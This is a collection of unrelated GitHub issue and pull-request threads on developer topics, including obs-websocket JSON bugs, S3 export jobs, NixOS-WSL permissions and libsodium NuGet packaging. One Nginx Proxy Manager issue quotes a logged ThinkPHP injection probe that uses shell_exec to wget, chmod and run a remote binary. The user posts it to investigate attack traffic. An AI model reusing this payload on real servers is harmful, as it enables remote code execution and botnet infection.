On the other hand, since null is actually assigned, it is thought that an error occurred when parsing the JSON syntax.
GetStreamStatus( )
incorrect data
:21:39.024:   "d": {
10:21:39.024:     "requestData": null,
10:21:39.024:     "requestId": "bef203bd-4a40-4a9b-bac8-a5b1af1ea86e",
10:21:39.024:     "requestType": "GetStreamStatus"
10:21:39.024:   },
10:21:39.024:   "op": 6
10:21:39.024: }
10:21:39.024: [obs-websocket] [debug] [WebSocketServer::onMessage] Outgoing message:
10:21:39.024: {
10:21:39.024:   "d": {
10:21:39.024:     "requestId": "bef203bd-4a40-4a9b-bac8-a5b1af1ea86e",
10:21:39.024:     "requestStatus": {
10:21:39.024:       "code": 100,
10:21:39.024:       "result": true
10:21:39.024:     },
10:21:39.024:     "requestType": "GetStreamStatus",
10:21:39.024:     "responseData": {
10:21:39.024:       "outputActive": false,
10:21:39.024:       "outputBytes": 0,
10:21:39.024:       "outputCongestion": null,
10:21:39.024:       "outputDuration": 0,
10:21:39.024:       "outputReconnecting": false,
10:21:39.024:       "outputSkippedFrames": 0,
10:21:39.024:       "outputTimecode": "00:00:00.000",
10:21:39.024:       "outputTotalFrames": 0
10:21:39.024:     }
10:21:39.024:   },
10:21:39.024:   "op": 7
10:21:39.024: }
Normal data
12:55:12.264: [obs-websocket] [debug] [WebSocketServer::onMessage] Incoming message (decoded):
12:55:12.264: {
12:55:12.264:   "d": {
12:55:12.264:     "requestData": null,
12:55:12.264:     "requestId": "5c3cbc12-438e-4e52-8438-9a1c633ceb0b",
12:55:12.264:     "requestType": "GetStreamStatus"
12:55:12.264:   },
12:55:12.264:   "op": 6
12:55:12.264: }
12:55:12.265: [obs-websocket] [debug] [WebSocketServer::onMessage] Outgoing message:
12:55:12.265: {
12:55:12.265:   "d": {
12:55:12.265:     "requestId": "5c3cbc12-438e-4e52-8438-9a1c633ceb0b",
12:55:12.265:     "requestStatus": {
12:55:12.265:       "code": 100,
12:55:12.265:       "result": true
12:55:12.265:     },
12:55:12.265:     "requestType": "GetStreamStatus",
12:55:12.265:     "responseData": {
12:55:12.265:       "outputActive": false,
12:55:12.265:       "outputBytes": 0,
12:55:12.265:       "outputCongestion": 0.0,
12:55:12.265:       "outputDuration": 0,
12:55:12.265:       "outputReconnecting": false,
12:55:12.265:       "outputSkippedFrames": 0,
12:55:12.265:       "outputTimecode": "00:00:00.000",
12:55:12.265:       "outputTotalFrames": 0
12:55:12.265:     }
12:55:12.265:   },
12:55:12.265:   "op": 7
12:55:12.265: }

I will check it out shortly. See how we fix this...

It appears that the OBS Websockets component is not adhere to it's on specs.
According to the protocol definition indeed, the OuputCongestion should be a number and not be null. But apparently it is.
Easiest way to 'fix' the issue is to make the property nullable. The other is to use a custom converter.
I will create a custom converter.
It will be fixed in 1.2.1

Thank you for your prompt correction.
It is true that OBS-WebSocket's JSON syntax did not satisfy the protocol definition.
However, I believe that OBS-WebSocket is just converting the information it gets from OBS into JSON syntax, and that OBS is probably passing null to OBS-WebSocket.

Please Close this issue


Add support for external S3 export

This PR:

Adds s3 copy job

Overview
Adds S3Copy job, to copy files between the two S3 buckets.
Modifies S3Export job to allow user defined credentials, to do export directly into user bucket.
Demo
java -cp rf-batch.jar com.azavea.rf.batch.Main s3_copy sourceBucket targetBucket targetRegion

targetRegion is an optional field.
Notes
The format of credentials is arguable, probably it makes sense to provide it somehow different.
In the export job case it makes sense to make it a part of the ExportDefinition.
Closes #1650

Haven't had time to dive into this, but one thing stood out. We shouldn't require accessKey and secretKey -- https://help.rasterfoundry.com/developer-resources/connecting-your-data/share-amazon-s3-bucket-with-raster-foundry describes how we expect to get access to buckets/resources in an external account. Existing RF roles/creds will suffice in this case.

@notthatbreezy good pointer, that's much easier than; I'll just remove useless code.

@notthatbreezy reverted accessKey and secretKey requirements ^^'

Running to copy a single object from one bucket to an empty bucket, I'm hitting java.lang.IllegalArgumentException: The bucket name parameter must be specified when listing objects in a bucket
Invoked as:
java -cp /opt/raster-foundry/jars/rf-batch.jar com.azavea.rf.batch.Main s3_copy "test.objects" "empty-bucket-for-rf" "us-east-1"
(also tried without quoting)

Good catch, thanks!

Updated issue topic:
java -cp target/scala-2.11/rf-batch.jar com.azavea.rf.batch.Main s3_copy s3://bucket/prefix s3://target/prefix2 us-east-1

I updated the policy in the help article to reference the PutObject action, which is required for the PUT Object - Copy API call.


test: a check for gapic-libraries-bom

Let's merge https://github.com/googleapis/google-cloud-java/pull/9357 first to clean the check statuses.


Supporting arbitrary cluster names for kind provider e2e tests

For e2e tests, kind provider only supports only the default master node name ("kind-control-plane").
Fixed to run the e2e tests for any master node name.
In addition, https://github.com/vmware-tanzu/antrea/blob/master/ci/kind/kind-setup.sh accepts any type of a cluster name. We should probably restrict naming convention to rfc1035/rfc1123. Otherwise, we do not align with kubernetes naming convention and following command breaks.
go test -v github.com/vmware-tanzu/antrea/test/e2e -provider=kind
Testing: Tested with cluster names such as stati_kind, statiKind, stati-kind, stati-kind01 etc.

Closing this PR. Will open a new PR after adding myself to VMware organization CLA.


Method to get profile picture

After login we need to have an ability to show user avatar in application

Hey, when you are going to add it. Thanks for the beautiful plugin.

Hi. It will be released in a couple of days! Thanks for the feedback =)

Added in v0.2.0


DOC: fix maximum_flow trivial example matrix

Reference issue
Reopening previously approved PR #14730 (closed due to incorrect revert from my end)

What does this implement/fix?
Fixes the matrix in the documentation example to match the referenced example in [2], Chapter 26.1

Additional information
If this is not fixed, the maximum flow of erroneous example gives a residue graph with no flow from source to sink.

@tupui I am not particularly good with 2D ASCII graphs. For now, let's just merge the matrix fix and I will add the requested graph diagram later.
Also I messed up my previous working branch and thus this new PR for the same change. Thanks!


Add missing Group ID specifier to Info.plist

Task/Issue URL: https://app.asana.com/0/856498667320406/1148052271516713
Tech Design URL:
CC:
Description:
Added missing key to Group.swift - it was used during static initialization of a variable.
Steps to test this PR:

Open app, it should run as usual.
Try sharing from/to app, it should work as expected.

Internal references:
Software Engineering Expectations
Technical Design Template

Thanks!


make /etc/nixos writable

What is the objective of this PR

make /etc/nixos writable

Note
I based myself in the welcome script and tested it before committing
Closes #384

I had my email wrong so that is the reason the commit was unverified and that is also why I did a force-push

Just another note: if wsl2 is runned too much fast and you get a error that bash shouldn't return and you run the wsl2 again you will get a error saying that sudo uid needs to 0, so you need to close and open wsl2 again to it work.
My assumption is that is because of the native systems because in my daily driver when I turned off it, I stopped getting the return error.
Sorry for the bad English, just didn't want this pr to be merged while I am not sure why this happens, when I go back into my setup I while provide all the errors and re write this comment

I had my email wrong so that is the reason the commit was unverified and that is also why I did a force-push

I don't think anyone cares here. Feel free to force push the review comments, too.

Testing again my implementation I found out that I almost every time in boot I get the error: sudo: /run/current-system/sw/bin/sudo must be owned by uid 0 and have the setuid bit set, but the thing is I am able to run root and nixos-wsl-permissions-fix after the shell loaded, so my assumption is that somehow in the first boot the sudo permissions are not correct at the time I run the script.
I'm really out of ideas in how I could make it work

Instead of using shell init, you could let this run as an activation script. That way, you don't need sudo. Otherwise, you need to use sudo from /run/wrappers/bin. Files in the nix store can not have the suid bit set, therefore NixOS creates wrappers for them through an activation script

Only saw your comment on the issue now, sorry. The activation script could be handled the same way the shell hook currently is - so that it's gone after the first rebuild. Another option would be to create a file in the tarball builder, that gets removed by the script, so that the chmod only runs once

activation script

Using /run/wrappers/bin/sudo gives me: /run/current-system/sw/bin/nixos-wsl-permissions-fix: line 3: /run/wrappers/bin/sudo: No such file or directory
Using a activation script will always change permissions, and that may not be what the users want, but if you want me to do it I can for sure

Only saw your comment on the issue now, sorry.

Dont' worry about that, it happens with everyone

Another option would be to create a file in the tarball builder, that gets removed by the script, so that the chmod only runs once

I tried doing nixos-enter --root "$root" --command 'se^Cacl -R -m u:nixos:rwx /etc/nixos' and I got chmod: changing permissions of '/dev': Operation not permitted chmod: changing permissions of '/sys': Operation not permitted
The thing is, even if doing a command like pwd I get the same think

activation script

Using /run/wrappers/bin/sudo gives me: /run/current-system/sw/bin/nixos-wsl-permissions-fix: line 3: /run/wrappers/bin/sudo: No such file or directory
Using a activation script will always change permissions, and that may not be what the users want, but if you want me to do it I can for sure

Do you want me to use a activation script? @nzbr

Either that or a systemd service. Having it as a part of the shell init is suboptimal imho. Make the tarball builder touch a file like /etc/nixos/.chmod or something and check if it exists. If it does, rm the file and run the chmod. That way we can even put it in the regular config so that it still works for people who build their own tarballs

I also had idea of the builder touching a file but I thought it was bad practice. Since it is okay I will implement it.

In my machine it works perfectly, but I wonder, giving executable permissions to it is fine or it may be a security risk?

I will be closing this since it was already fixed


BUG: Restore setting TargetPoints after ReachMode

Check that the target reach mode and expected number of target point are value in VerifyPreconditions instead of when setting expected number of targets.
This restores prior behavior of being able to set the target reach mode before setting the target points.

PR Checklist

[ ] No API changes were made (or the changes have been approved)
[ ] No major design changes were made (or the changes have been approved)
[ ] Added test (or behavior not changed)
[ ] Updated API documentation (or API not changed)
[ ] Added license to new files (if any)
[ ] Added Python wrapping to new files (if any) as described in ITK Software Guide Section 9.5
[ ] Added ITK examples for all new major features (if any)

Refer to the ITK Software Guide for
further development details if necessary.

This regression was reported in SimpleITK/SimpleITK#1801.
The PR is based on the release branch, and it is intended that this change will be merged into the release branch as well.

@jhlegarreta I am going ahead and merging this PR, so that the enum PR can be rebased onto master and conflicts avoided.


Minor JSHint fixes

Coverage decreased (-0.2%) to 99.196% when pulling<PHONE_NUMBER>c048f340347576f33b72d9ecd691c4 on CloCkWeRX:jshint_fixes into accabdf45a893ed344d17b1281767822ddd3249e on openfarmcc:master.

Thanks again @CloCkWeRX!
Weird that failure has to do with the google maps api key env variable, which travis-ci knows about and presumably shouldn't be complaining about. (Ie, I just ran it with a change I did and it worked fine?) I'll pull in on local and run the tests there.


Build warning in C# bindings generated from c++ code

Brief Description
I get a Build warning  " warning CS0649: Field 'InternalVariableTypeSmall.__PointerAdjustment' is never assigned to, and will always have its default value 0"
in C# bindings generated from c++ code
Is there way we can ignore warnings in generated code, while generating

They're harmless but we'll try fixing them later on.


fix a bug due to allegro's function variable-information problem

While I try to make jonathan work in Allegro CL, I found there's a problem with Allegro CL's variable-information function. In the documentation it says the 3rd return value of variable-information should be an alist, however, it's a proper list instead of alist. So for example, if there's a dummy function like this:
;;;; try it in Allegro CL
(defun test-str (str)
   (declare (type simple-string str))
   (with-vector-parsing (str)
	(flet ((add (x y) (+ x y)))
	   (add 1 2))))

then if I issue (test-str "LISP") in the REPL, it will report an error because the function VARIABLE-TYPE actually returns ((SIMPLE-ARRAY CHARACTER (*))) instead of (SIMPLE-ARRAY CHARACTER (*)).
I guess it may be a bug of Allegro CL itself, I will also send an email to Allegro Support later.

Thanks!


Add version mapping between spring-boot and azure-sdk-bom

Fix #26076
Here is the time line:

Date
Event
Reference
Note

2020-03-15
Spring Boot released v2.3.0.RELEASE
spring-boot:v2.3.0.RELEASE

2020-03 - 2020-07
Migrate spring-boot-azure related module into this repo
Related PRs

2020-04-17
Release azure-sdk-bom 1.0.0
Release note # 1.0.0
Not align to spring-boot managed external dependencies yet

2020-08-06
Upgrade spring-boot to 2.3.2
#13835

2021-03-09
Upgrade spring-boot to 2.4.0
#19563

2021-06-02
Release azure-sdk-bom 1.0.3
Release note # 1.0.3

2021-06-11
Upgrade spring-boot to 2.5.0
#21839

2021-11-12
Release azure-sdk-bom 1.0.6
Release note # 1.0.6

2021-12-07
Upgrade spring-boot to 2.6.1
#25626

2022-01-22
Release azure-sdk-bom 1.1.0
Release note # 1.1.0

Hi, @alzimmermsft , @saragluna , please help to review this PR when you have time.

@pallavit could you please take a look at this PR?


Someone is trying to inject PHP scripts directly on NPM localhost

Checklist
Q: Have you pulled and found the error with jc21/nginx-proxy-manager:latest docker image?
R: Yes, I recently found this issue after implementing an ELK stack to help me process and analyze my logs, sadly the logs NPM gives are not standard so my ELK stack isn't much help when it comes to visualizing these requests I've found, it did however allow me to find hundreds of requests just like this one:
[13/Jan/2021:15:07:48 +0000] 400 - GET http localhost-nginx-proxy-manager "/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://<IP_ADDRESS>/bins/MwEIrNsdFa.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'" [Client <IP_ADDRESS>] [Length 154] [Gzip -] "Uirusu/2.0" "-"
Describe the bug
This is more of a security issue than a bug, however this is not the normal behaviour I've seen from this known thonkphp script out there in the web, usually it tries to request the root of the domain or a DNS record associated to an IP, it is requesting localhost-nginx-proxy-manager always I'm no programming guru or server expert, but it seems to me that this request is trying to inject this PHP script inside of NPM's container, please correct me if I'm wrong
Q: What version of Nginx Proxy Manager is reported on the login page?
R: v2.7.2
To Reproduce
Steps to reproduce the behaviour:

Go to your logs folder inside the data directory you created
Open the default.log file and just try to search for a request similar to the one I provided
If you find it, that means I'm not the only one getting them, something I think is the case

Operating System

My NPM install is running on an Ubuntu 20.04 LTS install with docker

Additional context
I have built a Python script that goes trough the default.log file and writes a new file with all of the requests similar to this one, right now it just does this, but I'm going to try to make it filter out the IPs that try to send these requests and also how many of these requests each IP does. Also if anyone wants to help me doing this please feel free to contact me, you can check out the script I built to sort the logs over here.
I also want to say that I have no idea on how to block these requests, fail2ban could be a solution, however I think it would need to be running inside the container to be effective (I think...). I created that script so that other people could check if this is happening to them too, and hopefully has a way to provide the developer a way to fix this possible security issue. To my understanding NPM does not use PHP so I think this is why the log reports a bad request (400) instead of an not found (404) meaning that. I can also provide a log file with the requests I've filtered out so far, 105 out of the 370 the original default.log file had, keep in mind that this is was taken from a period of 24h.
Finally I want to thank this developer for making my life easier when it comes to exposing my services and websites to the world, and I hope he keeps up developing this awesome piece of software!
EDIT: Since writing this issue I was able to extract a list of IPs that sent these requests, I'm still working with the same 370 line long file, and I was able to extract 81 unique IPs sending these requests some more than once. I've published an more updated version of the script I linked before that should make it easier for everyone concerned about this to find out if their NPM containers are also getting these requests or not. It runs rather fast with my 370 line file, but it can take longer in longer files

I fail to see how this is a bug or even a security issue... It's just someone (or more likely something) probing for vulnerabilities in known scripts. NPM doesn't even run PHP scripts, so all the probes will fail even just because of that.
Yes, it'll pollute your logs, but it's not a problem if you don't run any of the vulnerable scripts.
https://stackoverflow.com/questions/64736540/spring-security-deployed-app-on-aws-thinkphp-request

Oops seems like I forgot to bring my findings here after learning more about this issue, I'm terribly sorry for that.
@sanderdatema You are absolutely right, at the time when I found about this I had no idea how NPM actually worked, neither didn't I have any knowledge on how docker messes with iptables directly making my efforts to block the source of these requests useless. You are right to say that this is not an NPM specific issue, it's more of an docker issue. I found this while running an Ubuntu 20.04 server with docker to run my containers, I use ufw firewall on Ubuntu servers, and I tried to manually ban the IP of a VPS I own and tried to access my NPM instance while connected to the same VPS with a VPN, it did nothing, even with UFW banning all requests from that public IP I was still able to access my own server. Again this has to do with how docker messes with iptables when you launch a container, at least on Ubuntu, all rules you configure with ufw will be ignored by docker, even if you try to apply the ban on docker network interfaces.
After figuring this out I tried to build my own Nginx reverse proxy the old fashioned way with certbot and ended up finding that even more requests, not equal to this, but similar were being made, probably NPM was blocking them before, I can't be sure about that, however if I were to use ufw to ban the source of these requests the ban would work unlike when using NPM and docker. In the meantime I was trying to find out how to fix this very known issue with docker, I found out that there were in fact solutions for this, but since I'm a recent Linux user I did not feel comfortable implementing them, specially because when I tried to in the same machine where I found about this, I accidentally broke my firewall and internet connectivity on that server.
I'm closing this issue, because as @sanderdatema said, this is not an NPM issue, but more of an docker issue, I'll also leave the fix I found on stackoverflow linked bellow, just read the highest voted comment, and not the approved solution, as that one goes into more detail on why this happens and how to fix it. And also, for what I can tell the reason why I was getting these requests directly in the NPM default log, is because the requests are probably made with a public IP and not an hostname, and sending a request to port 80 on my public IP ended up in sending it straight to the NPM container, that has `localhost-nginx-proxy-manager, my guess is that whoever is behind this is just giving their botnet a bulk list of residential IP's hoping to find someone that is not aware of these issues it tries to exploit in the ThinkPHP framework, the main target of this botnet. I also tried to check for these requests in my Linode VPS and I was not able to find any similar to them so far, so maybe the botnet is either avoiding cloud provider IPs or Linode is straight up blocking them before they reach the VPS, although full disclaimer this is more of a speculation than an actual fact, as I said before, I'm no Linux expert at the time I just thought this was an serious issue with NPM and thought everyone should be aware of this, now I know that this is actually a Docker issue.
Link to a stackoverflow post that explains better how this is an Docker issue


Support traditional -y for automatically confirming a destructive action.

Apparently to automatically answer "yes" or "y" to tugboat destroy you use -c for some bizarre reason.
Can you please add or switch to using -y, like almost every other unix tool out there?

Merged.
On a related note, please be considerate of the fact that this is free open-source software that people work on in their own time. Snark is not appreciated :-1:


req.params error

I keep getting this error. TypeError: Cannot read property 'id' of undefined. The problem is that id is defined in my route but it seems as if nothing is there. It does not want to return the id being sent in the route.

Hi @liljosi your arguments are backwards: you have res, req, next, but it needs to be req, res, next.

No way ! It works now, thanks @dougwilson :D.


404 not found - looks API change

Hi,
I try run the project but fail when calls post.php, can you verify?
and there is any official documentation?
Thanks!

pache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4 Server at localhost Port 80
me pasa lo mismo


Nominating Gergő Csizi (@gergocs) to become a JerryScript committer

He has several patches which can be viewed here:
https://github.com/jerryscript-project/jerryscript/pulls?q=is%3Apr+is%3Aclosed+author%3Agergocs+
Any seconds?

+1

+1

+1

+1

I also have patches get merged
https://github.com/jerryscript-project/jerryscript/pulls?q=is%3Apr+is%3Aclosed+author%3Alygstate+
Any change to become a JerryScript committer?

@lygstate you can find the details of how to become a committer in the following wiki page, https://github.com/jerryscript-project/jerryscript/wiki/Governance

4 seconds and no objections. Congrats to our new committer!


studio: add subdir to live metrics post messages to support live experiments in monorepos

[x] ❗ I have followed the Contributing to DVCLive guide.

[x] 📖 If this PR requires documentation updates, I have created a separate PR (or issue, at least) in dvc.org and linked it here.

Thank you for the contribution - we'll try to review it as soon as possible. 🙏

Part of https://github.com/iterative/studio/issues/8848
Repeat of https://github.com/iterative/dvclive/pull/779 but stripped back to only send subdir.
Depends on https://github.com/iterative/dvc-studio-client/pull/154 / https://github.com/iterative/dvc/pull/10303

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (b8526e9) 95.55% compared to head (d5e514b) 95.54%.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #787      +/-   ##
==========================================
- Coverage   95.55%   95.54%   -0.01%
==========================================
  Files          55       55
  Lines        3532     3549      +17
  Branches      314      316       +2
==========================================
+ Hits         3375     3391      +16
  Misses        110      110
- Partials       47       48       +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Typos can cause foobar2000 crashes

I've had a fair number of foobar2000 crashes due to typos that I would have expected to have been caught as script errors. I'm not sure when this issue was introduced, but I think it used to be OK. It at least effects 1.1.1 & 1.1.2-beta. It might have something to do with setTimeout (or window.SetTimeout) & possibly various other things, since straightforward script errors are caught. If you can't reproduce I can post crash logs.
Example code that crashes foobar2000:
function test() {
    var filtr /*typo should be filter*/ = ["1"]; for (var r = 0; r < 1; r++) {console.log("filter[r]", filter[r]);}
}
window.SetTimeout(function() {test();}, 500); // setTimeout same issue
// for me, the code above results in SMP crashing foobar2000
// typo isn't caught as script error
// JSP gives expected script error

Yeah, it's a regression, since I've tested specifically this scenario a few versions back

Thanks for the bug report =)

Should be fixed in the latest build, once it's available


System.DllNotFoundException: Unable to load DLL 'libsodium'

I noticed the libsodium runtime dll was removed from the latest nuget package.
Is that the issue?

I know, its broken atm. Will try to fix it soon.

It is because of https://github.com/dotnet/sdk/issues/1479
To fix it, add the runtimes manually like this:
  <ItemGroup>
    <None Include="runtimes\win7-x86\native\**\*">
      <PackagePath>runtimes/win7-x86/native/</PackagePath>
      <Pack>true</Pack>
    </None>
    <None Include="runtimes\win7-x64\native\**\*">
      <PackagePath>runtimes/win7-x64/native/</PackagePath>
      <Pack>true</Pack>
    </None>
  </ItemGroup>

  <ItemGroup Condition="'$(TargetFramework)' != 'net461'">
    <None Include="runtimes\osx-x64\native\**\*">
      <PackagePath>runtimes/osx-x64/native/</PackagePath>
      <Pack>true</Pack>
    </None>
    <None Include="runtimes\linux-x64\native\**\*">
      <PackagePath>runtimes/linux-x64/native/</PackagePath>
      <Pack>true</Pack>
    </None>
  </ItemGroup>

Alight, will try that.

Sure, got many things to improve in this library. I will make a bunch of PRs soon.

@tabrath there's a little snag, in order for the unit tests project to work properly, we will have to split the project into 2 nuget packages, one which has only the native libsodium runtimes (and nothing else) (we can take the time to update to libsodium 1.0.13 while at it), so that it can be added as a PackageReference to the unit tests project so that the libsodium.dll is copied to the bin of the unit test project.
This mess is due to https://github.com/dotnet/sdk/issues/765 which won't be fixed soon.
ASP.net Core have done the same thing with https://www.nuget.org/packages/Libuv/ (it only contains native runtimes and no C# code) and put all the related C# code in another package.
I suggest a new NuGet package (libsodium), but it seems @jedisct1 was already trying the same thing with https://www.nuget.org/packages/libsodium/1.0.12-preview-01
We could depend on that package directly instead but it is marked as preview which is kinda ugly. Or we can make our own 'Sodium.Core.Native' NuGet or something.
What do you think ?

@rwasef1830 Good thing you catched that bug! I've been thinking about the same thing, a pure native package, seems to be the cleanest (and best?) way since the dotnet team is doing the same. As for the package name; that sounds good to me.

@tabrath then in that case, I think we should depend directly on the existing libsodium package since it will let users update the native libsodium without having to wait for a new release for this library (as long as API compatibility is not broken).

@rwasef1830 Lets give them a couple of days and see how it goes, shall we?

This should be fixed now.

Thanks alot.

I just tried using Libsodium.Core today in a brand new project and it's not copying the native libsodium.dll, so I think you closed this prematurely.  Or am I missing something?

@dtanders Are you target any specific architecture? Try targeting either x64 or x86..

Targeting an architecture didn't do anything.
https://drive.google.com/open?id=16gCpD1a4c4HT1kaaofFKvvEy8DPkTJBT is the project if you want to try to reproduce the issue.

@dtanders Well, first off; Sodium.Core is mainly for .NET Core. I tried your project and I could not get it to work using our library. But, using libsodium-net it works like a charm, well .. kind of. For some weird reason it did not install it's dependency of Baseclass.Contrib.Nuget.Output which takes care of copying the native libraries to your output folder. I installed it manually and it worked. When libsodium-net releases their new version, this library will be deprecated.

Baseclass.Contrib.Nuget.Output was trying to reference a VS tooling DLL that doesn't exist, which is why I tried .Core.  I see that they fixed it, so I'll stop bothering you guys... and start bugging the -net people because their wrapper still can't find the DLLs that are at least copying to bin correctly now :|

Great thing you got it working in the end! Don't worry bothering us, feedback is always welcome. Its such a shame the inclusion of native libraries often is problematic, hopefully core will change that.


Ui update

Nav Changes

Moved Navbars to the top
added an about page

Fix

the launch.json and task.json files needed to be correct with new site/... changes.

thanks for fixing those things!


[JAVA] Cannot find the slot: pipeline-slot("56da1731-d616-4c7c-98e3-d21fe9e386b0"). Ignoring the task.

Hello,
Sometimes, when I start several Jobs with the pipeline service, I got this error in my logs :
com.google.appengine.tools.pipeline.impl.PipelineManager querySlotOrAbandonTask: Cannot find the slot: pipeline-slot("56da1731-d616-4c7c-98e3-d21fe9e386b0"). Ignoring the task.
com.google.appengine.tools.pipeline.NoSuchObjectException: pipeline-slot("56da1731-d616-4c7c-98e3-d21fe9e386b0")
This error kills the job.
Thanks for your help

I also get this error at the same time :
com.google.appengine.tools.pipeline.impl.PipelineManager handleFanoutTaskOrAbandonTask: Pipeline is fatally corrupted. Fanout task record not found
com.google.appengine.tools.pipeline.NoSuchObjectException: pipeline-fanoutTask("1ebc07f9-2b96-4304-b674-097227158aae")


windows CI - appveyor build results

Ran a build on appveyor using ruby-head, with jobs done by spec folder.  It may make it easier to see patterns in the failures/errors, etc.  I increased the failure limit from 25 to 100 and man pages were generated.
I believe the two worst folders were 'commands' at 97 and 'install' at 100.  Most were much lower.
See:
https://ci.appveyor.com/project/MSP-Greg/bundler/builds/26169083
I'm not really familiar with the specs, so I won't be able to delve into it for a while.  Thought I'd post an issue in case some of those that are familiar with the specs might have a look...

Hi @MSP-Greg.
We already have a Windows build and we are aware of the failures. We just need to work on them.
So I'm going to close this issue if that's ok with you.
Thanks for trying this though!

Good day David (prefer David or Deivid?)
I'm aware of the Pipelines build here.  I wasn't sure how the man pages affected things, and they're easy to generate on Appveyor.  Grouping by spec folder also may make the results easier to inspect.

We just need to work on them re that goal.

Just thought this might be helpful.  Ok to close.

Good day David (prefer David or Deivid?)

Both are good :)
Thanks @MSP-Greg!


Access denied- When Trying to create a new project

I was trying to create a new project and upload my images to custom visions. I followed all the steps from the documentation and grabbed the correct keys but I keep getting this error and can not get it to work.
Creating project...
Traceback (most recent call last):
File "C:/Users/x/Downloads/sample.py", line 10, in
project = trainer.create_project("My New Project")
File "C:\Users\x\AppData\Local\Programs\Python\Python37\lib\site-packages\azure\cognitiveservices\vision\customvision\training\custom_vision_training_client.py", line 1748, in create_project
raise models.CustomVisionErrorException(self._deserialize, response)
azure.cognitiveservices.vision.customvision.training.models.custom_vision_error_py3.CustomVisionErrorException: Operation returned an invalid status code 'Access Denied'

@areddish what do you think?

needed the same help :(
Mine is like:
File "/Users/broccoli/Desktop/bus_stop_sign_detection-master/code/env/lib/python3.7/site-packages/azure/cognitiveservices/vision/customvision/training/custom_vision_training_client.py", line 2749, in create_tag
raise models.CustomVisionErrorException(self._deserialize, response)
azure.cognitiveservices.vision.customvision.training.models.custom_vision_error_py3.CustomVisionErrorException: Name not unique: busStop, Project: <>

@yohzel - If you are sure the training key is correct, please check the endpoint as well. The example specifies SouthCentral US region of Azure but if your keys are for a resource in a different region then you will need to change the endpoint to that region
@ericjiang18 The error message you are getting is saying "Name not unique: busStop" so it seems you are trying to create a project with a name that already exists. You'll need to use a different name or delete the busStop project if you want to recreate it.

@Yohzel - If you are sure the training key is correct, please check the endpoint as well. The example specifies SouthCentral US region of Azure but if your keys are for a resource in a different region then you will need to change the endpoint to that region
@ericjiang18 The error message you are getting is saying "Name not unique: busStop" so it seems you are trying to create a project with a name that already exists. You'll need to use a different name or delete the busStop project if you want to recreate it.

Ha! I changed the name and it work fine! Thanks for the quick response!


Attribute ABNF non-terminal definitions by links

Same as we do for cookie: https://github.com/swaggerexpert/cookie?tab=readme-ov-file#more-about-rfc-6265

Addressed by https://github.com/swaggerexpert/openapi-server-url-templating/pull/77


6.0.0 update to pass the source file path to SVGO uses the wrong key

Plugin passes the key srcPath but SVGO looks for path
See change made for #59
Relevant code in prefixIds file is:
    } else if (extra && extra.path && extra.path.length > 0) {
        var filename = path.basename(extra.path);
        prefix = filename;
    }

Can I submit a pull request to fix this?

Yes

This is still broken.


Updated dependency version (faker 2 major bumps)

Test runs ok. I personally really needed to see faker updated (2 version bump ... ugh)

Thanks @robjens for your contribution !!


Allow using more common 'className'-prop instead of 'classNames'

The default property for passing CSS classes is className, not classNames. This adds the ability to use that property name instead of classNames, however, classNames is still usable for backwards compatibility.

@ahstro Thanks! Makes sense, i guess. Will be there in the next release.


"Permission denied" error while running /docker/build.sh

Hi, I'm getting the error below during /docker/build.sh. It's strange since this is quite far into the build process, so I'm not sure why this specifically is throwing an error. It's probably something basic that I'm not doing, but I'm still new to using Linux so please forgive my ignorance.
[Errno 13] Permission denied: '/usr/lib/python3/dist-packages/boost/__pycache__/__init__.cpython-36.pyc.140696489368752'
dpkg: error processing package libboost-mpi-python1.65.1 (--configure):
 installed libboost-mpi-python1.65.1 package post-installation script subprocess returned error exit status 1
Setting up mesa-utils (8.4.0-1) ...
Setting up x11vnc (0.9.13-3) ...
Setting up xvfb (2:1.19.6-1ubuntu4.9) ...
Setting up libglee0d1:amd64 (5.4.0-2) ...
Setting up x11-utils (7.7+3build1) ...
Setting up libglvnd-dev:amd64 (1.0.0-2ubuntu2.3) ...
Setting up glee-dev:amd64 (5.4.0-2) ...
dpkg: dependency problems prevent configuration of libboost-mpi-python1.65-dev:
 libboost-mpi-python1.65-dev depends on libboost-mpi-python1.65.1 (= 1.65.1+dfsg-0ubuntu5); however:
  Package libboost-mpi-python1.65.1 is not configured yet.

dpkg: error processing package libboost-mpi-python1.65-dev (--configure):
 dependency problems - leaving unconfigured
Setting up libgl1-mesa-dev:amd64 (20.0.8-0ubuntu1~18.04.1) ...
dpkg: dependency problems prevent configuration of libboost-mpi-python-dev:
 libboost-mpi-python-dev depends on libboost-mpi-python1.65-dev; however:
  Package libboost-mpi-python1.65-dev is not configured yet.

dpkg: error processing package libboost-mpi-python-dev (--configure):
 dependency problems - leaving unconfigured
Setting up libegl1-mesa-dev:amd64 (20.0.8-0ubuntu1~18.04.1) ...
Setting up libdirectfb-1.7-7:amd64 (1.7.7-8) ...
dpkg: dependency problems prevent configuration of libboost-all-dev:
 libboost-all-dev depends on libboost-mpi-python-dev; however:
  Package libboost-mpi-python-dev is not configured yet.

dpkg: error processing package libboost-all-dev (--configure):
 dependency problems - leaving unconfigured
Setting up libglu1-mesa-dev:amd64 (9.0.0-2.1build1) ...
Setting up libgles2-mesa-dev:amd64 (20.0.8-0ubuntu1~18.04.1) ...
Setting up lib++dfb-1.7-7:amd64 (1.7.7-8) ...
Setting up libsdl1.2-dev (1.2.15+dfsg2-0.1ubuntu0.1) ...
Setting up libdirectfb-dev:amd64 (1.7.7-8) ...
Setting up libsdl-sge-dev:amd64 (030809dfsg-7) ...
Setting up libharfbuzz-dev:amd64 (1.7.2-1ubuntu1) ...
Setting up libicu-le-hb-dev:amd64 (1.0.3+git161113-4) ...
Setting up libicu-dev (60.2-3ubuntu3.1) ...
Setting up libboost-regex1.65-dev:amd64 (1.65.1+dfsg-0ubuntu5) ...
Setting up libboost-iostreams1.65-dev:amd64 (1.65.1+dfsg-0ubuntu5) ...
Setting up libboost-iostreams-dev:amd64 (<IP_ADDRESS>ubuntu1) ...
Setting up libboost-regex-dev:amd64 (<IP_ADDRESS>ubuntu1) ...
Processing triggers for mime-support (3.60ubuntu1) ...
Processing triggers for libc-bin (2.27-3ubuntu1.2) ...
Errors were encountered while processing:
 python3-pip
